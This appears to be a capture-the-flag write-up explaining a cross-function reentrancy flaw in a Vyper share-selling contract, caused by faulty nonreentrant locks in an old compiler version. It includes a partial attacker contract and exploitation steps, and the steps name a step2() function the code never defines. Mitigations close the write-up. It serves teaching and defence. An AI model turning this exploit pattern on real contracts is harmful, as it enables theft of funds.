Contents

Code Snippet Serie - 03 - Cross-Function-Reentrancy

Challenge Description

/assets/images/writeups/code_snippets/code-snippet-01-03.png

This challenge, authored by @KLM, involves exploiting a vulnerability in a vyper smart contract that utilize a Cross-Function-Reentrancy due to a problem in the vyper version. This smart contract is made for a company to sell shares on the blockchain to help and ensure everything is secure, tracked and transparent.

Vulnerability Overview

🛑 Vulnerability: The vulnerability lies in the insecure version of Vyper that desynchronise the values of the @nonreentrant("lock") between function in a contract and the bad execution flow management.

Exploitation Process

  1. ⚙️ Discovery:

    • At first, this contract seems really secure and well done, but if you look at the sell and transfer functions, you can see a reentrancy vulnerability. However, they are protected with a nonreentrant lock. If you look deeper, searching for the the vyper compiler version, you can find a huge vulnerability in the nonreentrant locks.
  2. 🧠 Understanding the Cross-Function-Reentrancy:

    • The basic Reentrancy is a programming concept where a function or subroutine can be interrupted and then resumed before it finishes executing. This means that the function can be called again before it completes its previous execution.
    • Cross Function just means you have to call another function before the first one finishes.
  3. 🎭 Exploitation Steps:

    • 🛠️ Creating a malicious contract to exploit the Cross-Function-Reentrancy:

      # @version 0.2.15
      
      """
      @author KLM
      @title Solve for The Cross Function Reentrancy
      """
      # External Interfaces
      interface SS:
          def buyStock(): payable
          def sellStock(sell_order: uint256): nonpayable
          def transferStock(receiver: address, transfer_order: uint256): nonpayable
          def company() -> address: view
          def totalShares() -> uint256: view
          def price() -> uint256: view
      
      snaketarget: SS
      me: address
      
      @external
      def setparams(_target: address, _me: address):
          self.snaketarget = SS(_target)
          self.me = _me
      
      @external
      @payable
      def step1():
          self.snaketarget.buyStock(value=msg.value)
      
    • 📤 Submitting the Malicious Payload:

      • Set your target with the setparams() function.
      • Trigger the step1() function by sending a tx to the attack contract.
      • Trigger the reentrancy by sending a tx to the step2() function.

Mitigation

🔒 To mitigate this vulnerability, the following measures can be taken:

  • 🚧 Fix the order of the execution flow, you need to update storage variables BEFORE interacting with another actor.
  • 🚧 Change the vyper version to a more up-to-date one.

Conclusion

🔑 Sometimes, when everything seems fine, you will find deeper flaws in the things you thought were out of scope.

Additional Resources